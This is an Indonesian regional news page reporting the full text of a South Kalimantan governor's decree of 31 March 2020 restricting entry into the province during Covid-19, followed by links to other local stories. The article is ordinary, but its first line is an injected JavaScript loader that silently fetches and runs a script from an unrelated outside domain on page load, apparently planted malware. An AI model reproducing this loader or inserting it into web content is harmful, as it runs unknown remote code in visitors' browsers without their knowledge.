(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU –  Pemerintah Provinsi Kalsel telah mengambil kebijakan untuk melakukan pembatasan arus masuk orang yang datang dari luar provinsi. Hal itu tertuang dalam Surat Keputusan Gubenur (Kepgub) Kalsel Nomor : 188.44/021/kum/2020, tentang pembatasan arus masuk orang yang datang dari luar daerah provinsi, per-tanggal 31 Maret 2020.
Seperti apakah isi lengkap keputusan tersebut? Berikut isi surat Kepgub Kalsel, yang salinannya berhasil didapatkan Kanalkalimantan.com.
KESATU, Pembatasan Arus Masuk Orang Yang Datang Dari Luar Wilayah Kalimantan Selatan.
KEDUA, Pembatasan Arus Masuk Orang sebagaimana Diktum KESATU yaitu melakukan:
1. Pencegahan terhadap setiap arus masuk orang yang datang baik melalui darat, laut, sungai dan udara, berupa : mitigasi, deteksi, dan sosial edukasi.
2. Penanganan terhadap setiap arus masuk orang yang datang balk melalui darat, laut, sungai dan udara, berupa : isolasi, karantina, dan tindakan medis.
KETIGA, Tindakan Pencegahan dan Penanganan sebagaimana dimaksud Diktum KEDUA angka 1 dan angka 2 dilaksanakan berdasarkan protokol kesehatan penangangan Covid-19 dan sesuai Peraturan Perundang undangan yang berlaku.
KEEMPAT, Segala biaya yang timbul akibat ditetapkannya Keputusan Gubernur dibebankan pada Anggaran Pendapatan dan Belanja Negara (APBN) dan Anggaran Pendapatan dan Belanja Daerah (APBD) Provinsi Kalimantan Selatan Tahun Anggaran 2020 serta sumber dana lainnya sesuai dengan ketentuan peraturan perundang-undangan.
KELIMA, Keputusan Gubernur ini berlaku sejak tanggal ditetapkan sampai dengan 14 (empat belas) hari, apabila ada perubahan peraturan, maka Keputusan Gubernur ini akan dievaluasi kembali.
KEENAM, Keputusan Gubernur ini mulai berlaku pada tanggal ditetapkan (31 Maret 2020). (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.